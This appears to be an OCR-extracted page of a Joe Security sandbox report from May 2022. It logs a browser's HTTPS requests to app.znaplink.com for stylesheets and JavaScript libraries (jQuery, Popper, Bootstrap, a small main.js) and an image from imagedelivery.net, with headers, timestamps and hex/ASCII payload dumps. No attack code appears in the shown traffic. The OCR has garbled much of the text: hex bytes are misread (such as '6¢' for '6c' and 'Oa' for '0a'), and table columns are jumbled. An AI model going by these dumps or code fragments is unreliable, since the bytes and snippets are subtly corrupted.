0a 0a 20 20 20 20 73 72 63 3a 20 75 72 6¢ 28 27 2e 2f 66 6f 6e 74

Data Ascii: @charset 'UTF-8';/* Slider */.slick-loading .slick-list{ background: #fff url('./ajax-loader.qgif') center center no-
repeat;}/* Icons */@font-face{ font-family: 'slick’; font-weight: normal; font-style: normal; src: url("./font

Destination IP Destination Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 291

2022-05-13 12:56:12 UTC 501

2022-05-13 12:56:12 UTC 501

Session ID Source IP
13 192.168.2.5
. kBytes
Timestam|
p transferred

2022-05-13 12:56:12 UTC 323

2022-05-13 12:56:12 UTC 503

2022-05-13 12:56:12 UTC 507

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49792

Direction

ouT

Data

GET /themes/altum/assets//slick/slick.css HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: text/css,*/*;q=0.1

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: style

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Tue, 03 Oct 2017 22:49:30 GMT
ETag: "6f0-55aac4dd17280"
Accept-Ranges: bytes

Content-Length: 1776

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding
Access-Control-Allow-Origin: *
Connection: close

Content-Type: text/css

Data Raw: 2f 2a 20 53 6¢ 69 64 65 72 20 2a 2f Oa 2e 73 6¢ 69 63 6b 2d 73 6¢ 69 64 65 72 0a 7b 0a 20 20 20 20 70 6f 73
69 74 69 6f 6e 3a 20 72 65 6¢ 61 74 69 76 65 3b 0a Oa 20 20 20 20 64 69 73 70 6¢ 61 79 3a 20 62 6¢ 6f 63 6b 3b 0a 20
202020 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a Oa 20 20 20 20 2d 77 65 62 6b 69 74
2d 75 73 65 72 2d 73 65 6¢ 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 2d 6d 6f 7a 2d 75 73 65 72 2d 73 65 6
¢ 65 63 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 20 20 20 20 2d 6d 73 2d 75 73 65 72 2d 73 65 6¢ 65 63 74 3a 20 6e 6f 6e
65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 75 73 65 72 2d 73 65 6¢ 65 63 74 3a 20 6e 6f 6e 65 3b 0a 0a 20 20 20 20
2d 77 65 62 6b 69 74 2d 74 6f 75 63 68 2d 63 61 6¢ 6¢ 6f 75 74 3a 20

Data Ascii: /* Slider */.slick-slider{ position: relative; display: block; box-sizing: border-box; -webkit-user-select:

none; -moz-user-select: none; -ms-user-select: none; user-select: none; -webkit-touch-callout:
Destination IP SEEIREL Process
Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets/js/libraries/jquery.min.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:41:02 GMT
ETag: "15d84-5ce7a239be241"
Accept-Ranges: bytes

Content-Length: 89476

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 35 2e 31 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f
6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6¢ 69
63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2¢ 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f
62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6¢ 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20
6d 6f 64 75 6¢ 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6¢ 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74
3f 74 28 65 2¢ 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7h 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f
77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 65 72 79 20

Data Ascii: /*! jQuery v3.5.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t){"use stri
ct";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(
le.document)throw new Error("jQuery
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kBytes

Timestamp e Direction
2022-05-13 12:56:12 UTC 523 IN
2022-05-13 12:56:12 UTC 637 IN
2022-05-13 12:56:12 UTC 653 IN
2022-05-13 12:56:12 UTC 685 IN
2022-05-13 12:56:12 UTC 701 IN
Session ID Source IP Source Port
14 192.168.2.5 49791
) kBytes —
Ti Di
imestamp transferred irection
2022-05-13 12:56:12 UTC 323 ouT

Copyright Joe Security LLC 2022

Data

Data Raw: 61 3d 65 29 5b 53 5d 7c 7c¢ 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b
61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c
2131 3d 3d 3d 64 29 77 68 69 6¢ 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6¢ 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75
2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d
66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7
€ 7c 2861 5b535d3d7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d
3d 7b 7d 29 29 5b 68 5d 3d 5b 6b 2¢ 64 5d 29 2c 61 3d 3d 3d 65 29

Data Ascii: a=e)[S]||(a[S]={}))[a.uniquelD]||(o[a.uniquelD]={}))[h]||[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&al[l]||(d=s
=0)||u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(0=a[S]||(a[S]={}))[a.uniquelD]||
(o[a.uniquelD]={}))[h]=[k,d]),a===¢€)

Data Raw: 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79
7065 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70
61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79
7065 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61
6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65
5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 6
52c 74 68 69 73 2e 65 78 70 61 6e 64 6f 2c 7b 76 61 6¢ 75 65 3a

Data Ascii: {return 1===e.nodeType||9===e.nodeType||!+e.node Type};function G(){this.expando=S.expando+G.uid++}
G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t||(t={},V(e)&&(e.node Type?e[this.expando]=t:Object.
defineProperty(e,this.expando,{value:

Data Raw: 28 73 2e 74 79 70 65 29 3f 75 2e 63 68 65 63 6b 65 64 3d 73 2e 63 68 65 63 6b 65 64 3a 22 69 6e 70 75 74

22 213d 3d 6¢ 26 26 22 74 65 78 74 61 72 65 61 22 21 3d 3d 6¢ 7c 7c 28 75 2e 64 65 66 61 75 6¢ 74 56 61 6¢C 75 65 3d
73 2e 64 65 66 61 75 6¢ 74 56 61 6¢ 75 65 29 3b 69 66 28 74 29 69 66 28 6e 29 66 6f 72 28 6f 3d 6f 7c 7c 76 65 28 65 29
2c 61 3d 61 7c 7c 76 65 28 63 29 2c 72 3d 30 2c 69 3d 6f 2e 6¢ 65 6e 67 74 68 3b 72 3c 69 3b 72 2b 2b 29 4f 65 28 6f 5b
72 5d 2c 61 5b 72 5d 29 3b 65 6¢ 73 65 20 4f 65 28 65 2¢ 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 2
273637269 70 74 22 29 29 2e 6¢ 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70
74222929 2c 63 7d 2c 63 6¢ 65 61 6e 44 61 74 61 3a 66 75 6e 63 74

Data Ascii: (s.type)?u.checked=s.checked:"input"l==I&&"textarea"!==l|(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o|
|ve(e),a=al|ve(c),r=0,i=o0.length;r<i;r++)Oe(o[r],a[r]);else Oe(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"s
cript")),c},cleanData:funct

Data Raw: 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2¢ 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65
2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22
75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f
70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74
74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e
62 6f 6f 6¢ 2e 74 65 73 74 28 74 29 3f 70 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6¢ 6¢
3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d 6f 76 65 41 74 74

Data Ascii: nd({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==0&&8!==0&&2!==0)return"undefined"==typeof e.getAttribut
e?S.prop(e,t,n):(1===0&&S.isXMLDoc(e)||(i=S.attrHooks][t.toLowerCase()]||(S.expr.match.bool.test(t) ?pt:void 0)),void 0!==
n?null===n?void S.removeAtt

Data Raw: 20 69 2e 78 68 72 46 69 65 6¢ 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6¢ 64 73 5b 6e 5d 3b 66 6f 72
28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72
2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f
6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 65 71 75
65 73 74 65 64 2d 57 69 74 68 22 5d 3d 22 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 22 29 2c 65 29 72 2e 73 65 74 52
65 71 75 65 73 74 48 65 61 64 65 72 28 6e 2c 65 5b 6e 5d 29 3b 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75
72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 26 26 28 6f 3d 61 3d 72 2e

Data Ascii: i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mim
eType),i.crossDomain||e[*X-Requested-With"]||(e['X-Requested-With"]="XMLHttpRequest"),e)r.setRequestHeader(n,e
[n]);0=function(e){return function(){o&&(o=a=r.

Destination
Destination IP Esunatio Process
Port

165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/js/libraries/popper.min.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 504

2022-05-13 12:56:12 UTC 539

2022-05-13 12:56:12 UTC 555

Session ID Source IP
15 192.168.2.5
. kBytes
Ti t
tmestamp transferred

2022-05-13 12:56:12 UTC 503

2022-05-13 12:56:12 UTC 595

2022-05-13 12:56:12 UTC 745

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49793

Direction

ouT

Data

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:41:05 GMT
ETag: "4a32-5ce7a23cad2e4"
Accept-Ranges: bytes

Content-Length: 18994

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6¢ 6f 20 32 30
3137 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28
6¢ 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f
72 67 2f 6¢ 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2¢ 74 29 7b 27 6f 62 6a
65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65
6f 66 20 6d 6f 64 75 6¢ 65 3f 6d 6f 64 75 6¢ 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d
3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e

Data Ascii: /* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensou
rce.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'functio
n'==typeof define&&defin

Data Raw: 28 6f 2e 72 69 67 68 74 29 2c 67 3d 6¢ 28 61 2e 74 6f 70 29 3c 6¢ 28 6f 2e 74 6f 70 29 2c 75 3d 6¢ 28 61 2e
62 6f 74 74 6f 6d 29 3e 6¢ 28 6f 2e 62 6f 74 74 6f 6d 29 2c 62 3d 27 6¢ 65 66 74 27 3d 3d 3d 69 26 26 68 7c 7c 27 72 69
67 68 74 27 3d 3d 3d 69 26 26 63 7c 7c 27 74 6f 70 27 3d 3d 3d 69 26 26 67 7c 7c 27 62 6f 74 74 6f 6d 27 3d 3d 3d 69 26
26 75 2c 79 3d 2d 31 21 3d 3d 5b 27 74 6f 70 27 2c 27 62 6f 74 74 6f 6d 27 5d 2e 69 6e 64 65 78 4f 66 28 69 29 2c 77 3d
212174 2e 66 6¢ 69 70 56 61 72 69 61 74 69 6f 6e 73 26 26 28 79 26 26 27 73 74 61 72 74 27 3d 3d 3d 72 26 26 68 7c
7c 79 26 26 27 65 6e 64 27 3d 3d 3d 72 26 26 63 7c 7c 21 79 26 26 27 73 74 61 72 74 27 3d 3d 3d 72 26 26 67 7c 7c 21
79 26 26 27 65 6e 64 27 3d 3d 3d 72 26 26 75 29 3b 28 6d 7c 7c

Data Ascii: (0.right),g=I(a.top)<I(0.top),u=I(a.bottom)>I(0.bottom),b="left'===i&&h|| right'===i&&c||'top'===i&&g||'bott
om'===i&&u,y=-1!==['top’,'bottom’].indexOf(i),w=!!t.flipVariations&&(y&& 'start'===r&&h||ly&&'end'===r&&c||ly&&'start'===r
&&g||ly&&'end'===r&&u);(m||

Destination

Process
Port

Destination IP

165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Data

GET /themes/altum/assets/js/libraries/bootstrap.min.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:41:02 GMT
ETag: "ea63-5ce7a239d68ea"
Accept-Ranges: bytes

Content-Length: 60003

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65
74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30
2054 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63
6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20
2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d
2f74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6¢ 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 Oa 20 20 2a 2f Oa 21
66 75 6e 63 74 69 6f 6e 28 74 2¢ 65 29 7b 22 6f 62

Data Ascii: /*! * Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors (https://gi
thub.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/mai
n/LICENSE) */!function(t,e){"ob
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kBytes

Timestam
P transferred

2022-05-13 12:56:12 UTC 761

2022-05-13 12:56:12 UTC 777

2022-05-13 12:56:12 UTC 793

Session ID Source IP
16 192.168.2.5
. kBytes
Ti t
imestamp transferred

2022-05-13 12:56:12 UTC 504

2022-05-13 12:56:12 UTC 742

2022-05-13 12:56:12 UTC 742

Session ID Source IP

17 192.168.2.5

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49794

Direction

ouT

Source Port

49798

Data

Data Raw: 62 73 2e 63 6f 6¢ 6¢ 61 70 73 65 22 2c 6e 75 6¢ 6¢ 29 29 3b 76 61 72 20 72 3d 74 68 69 73 2e 5f 67 65 74 44
69 6d 65 6e 73 69 6f 6e 28 29 3b 65 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 29 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28
22 63 6f 6¢ 6¢ 61 70 73 65 22 29 2e 61 64 64 43 6¢ 61 73 73 28 22 63 6f 6¢ 6C 61 70 73 69 6€ 67 22 29 2C 74 68 69 73
2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 74 79 6¢ 65 5b 72 5d 3d 30 2¢ 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79
2e 6¢ 65 6e 67 74 68 26 26 65 28 74 68 69 73 2e 5f 74 72 69 67 67 65 72 41 72 72 61 79 29 2e 72 65 6d 6f 76 65 43 6¢ 6
17373282263 6f6c 6¢ 61 70 73 65 64 22 29 2e 61 74 74 72 28 22 61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2¢c 21
3029 2c 74 68 69 73 2e 73 65 74 54 72 61 6e 73 69 74 69 6f 6e 69 6e

Data Ascii: bs.collapse”,null));var r=this._getDimension();e(this._element).removeClass("collapse”).addClass("collapsing
"),this._element.style[r]=0,this._triggerArray.length&&e(this._triggerArray).removeClass(“collapsed”).attr("aria-expande
d",!0),this.setTransitionin

Data Raw: 69 74 69 6f 6e 45 6e 64 28 72 29 7d 65 6¢ 73 65 20 73 28 29 7d 65 6¢ 73 65 20 74 26 26 74 28 29 7d 2c 6e
2e 5f 61 64 6a 75 73 74 44 69 61 6¢ 6f 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 5f 65 6C
65 6d 65 6e 74 2e 73 63 72 6f 6¢ 6¢ 48 65 69 67 68 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6€ 74 45 6¢ 65 6d
65 6e 74 2e 63 6¢ 69 65 6e 74 48 65 69 67 68 74 3b 21 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f 76 65 72 66 6¢ 6f 77 69 6e
67 26 26 74 26 26 28 74 68 69 73 2e 5f 65 6¢ 65 6d 65 6e 74 2e 73 74 79 6¢ 65 2e 70 61 64 64 69 6e 67 4c 65 66 74 3d
74 68 69 73 2e 5f 73 63 72 6f 6¢ 6¢ 62 61 72 57 69 64 74 68 2b 22 70 78 22 29 2¢ 74 68 69 73 2e 5f 69 73 42 6f 64 79 4f
76 65 72 66 6¢ 6f 77 69 6e 67 26 26 21 74 26 26 28 74 68 69 73

Data Ascii: itionEnd(r)}else s()}else t&&t()},n._adjustDialog=function(){var t=this._element.scrollHeight>document.docum
entElement.clientHeight;!this._isBodyOverflowing&&t&&(this._element.style.paddingLeft=this._scrollbarwWidth+"px"),this._i
sBodyOverflowing&&!t&&(this

Data Raw: 76 61 72 20 6e 3d 74 68 69 73 2e 5f 67 65 74 43 6f 6e 74 65 6e 74 28 29 3b 22 66 75 6e 63 74 69 6f 6e 22 3d
3d 74 79 70 65 6f 66 20 6e 26 26 28 6e 3d 6e 2e 63 61 6¢ 6¢ 28 74 68 69 73 2e 65 6¢ 65 6d 65 6e 74 29 29 2c 74 68 69
73 2e 73 65 74 45 6¢ 65 6d 65 6e 74 43 6f 6e 74 65 6e 74 28 74 2e 66 69 6e 64 28 22 2e 70 6f 70 6f 76 65 72 2d 62 6f 64
79 22 29 2c 6e 29 2c 74 2e 72 65 6d 6f 76 65 43 6¢ 61 73 73 28 22 66 61 64 65 20 73 68 6f 77 22 29 7d 2c 72 2e 5f 67 65
74 43 6f 6e 74 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7h 72 65 74 75 72 6e 20 74 68 69 73 2e 65 6¢ 65 6d 65 6e 74
2e 67 65744174 7472 69 62 75 74 65 28 22 64 61 74 61 2d 63 6f 6e 74 65 6e 74 22 29 7c 7c 74 68 69 73 2e 63 6f 6e 6
6 69 67 2e 63 6f 6e 74 65 6e 74 7d 2c 72 2e 5f 63 6¢ 65 61 6e 54

Data Ascii: var n=this._getContent();"function"==typeof n&&(n=n.call(this.element)),this.setElementContent(t.find(".popo
ver-body"),n),t.removeClass("fade show")},r._getContent=function(){return this.element.getAttribute("data-content")||thi
s.config.content},r._cleanT

Destination IP EULCRIE Process

Port
165.227.107.5 443 C:\Program Files\Google\Chrome\Application\chrome.exe
Data

GET /themes/altum/assets/js/main.js?v=2 HTTP/1.1

Host: app.znaplink.com

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: */*

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: script

Referer: https://znap.link/andrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-michell.comandrea.selmo-
michell.com

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT
Server: Apache/2.4.41 (Ubuntu)
Last-Modified: Sat, 16 Oct 2021 15:40:57 GMT
ETag: "54d-5ce7a235755e9"
Accept-Ranges: bytes

Content-Length: 1357

Cache-Control: max-age=2592000
Expires: Sun, 12 Jun 2022 12:56:12 GMT
Vary: Accept-Encoding

Connection: close

Content-Type: application/javascript

Data Raw: 2f 2a 20 53 75 62 6d 69 74 20 64 69 73 61 62 6¢ 65 20 61 66 74 65 72 20 31 20 63 6¢ 69 63 6b 20 2a 2f 0a 24
2827 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 5b 6e 61 6d 65 3d 73 75 62 6d 69 74 5d 27 29 2e 6f 6e 28 27 63 6¢ 69 63
6b 27 2c 20 28 65 76 65 6e 74 29 20 3d 3e 20 7b 0a 20 20 20 20 24 28 65 76 65 6e 74 2e 63 75 72 72 65 6e 74 54 61 72
67 65 74 29 2e 61 64 64 43 6¢ 61 73 73 28 27 64 69 73 61 62 6¢ 65 64 27 29 3b 0a Oa 20 20 20 20 6¢ 65 74 20 74 65 78
74 20 3d 20 24 28 65 76 65 6e 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 29 2e 74 65 78 74 28 29 3b 0a 20 20 20 20
6¢ 65 74 20 6¢ 6f 61 64 65 72 20 3d 20 27 3c 64 69 76 20 63 6¢ 61 73 73 3d 22 73 70 69 6e 6e 65 72 2d 67 72 6f 77 20
73 70 69 6e 6e 65 72 2d 67 72 6f 77 2d 73 6d 22 3e 3c 73 70 61 6e 20 63

Data Ascii: /* Submit disable after 1 click */$('[type=submit][name=submit]’).on('click’, (event) =>{ $(event.curren
tTarget).addClass(‘disabled’); let text = $(event.currentTarget).text(); let loader = '<div class="spinner-grow spinner-
grow-sm"><span ¢

Destination IP Destination Process
Port
104.18.2.36 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp

2022-05-13 12:56:12 UTC 505

2022-05-13 12:56:12 UTC 505

2022-05-13 12:56:12 UTC 506

2022-05-13 12:56:12 UTC 506

Session ID Source IP
18 192.168.2.5
Timestamp

2022-05-13 12:56:12 UTC 557

Copyright Joe Security LLC 2022

kBytes
transferred

kBytes
transferred

Direction

ouT

Source Port

49802

Direction

ouT

Data

GET /tqC70bVt8T6GtQUXNsa2-g/d6b2abf0-b28f-42bd-8bb4-56f9a21058c00/public?1652446571 HTTP/1.1
Host: imagedelivery.net

Connection: keep-alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36

Accept: image/avif,image/webp,image/apng,image/*,*/*;q=0.8

Sec-Fetch-Site: cross-site

Sec-Fetch-Mode: no-cors

Sec-Fetch-Dest: image

Referer: https://app.znaplink.com/

Accept-Encoding: gzip, deflate, br

Accept-Language: en-US,en;q=0.9

HTTP/1.1 200 OK

Date: Fri, 13 May 2022 12:56:12 GMT

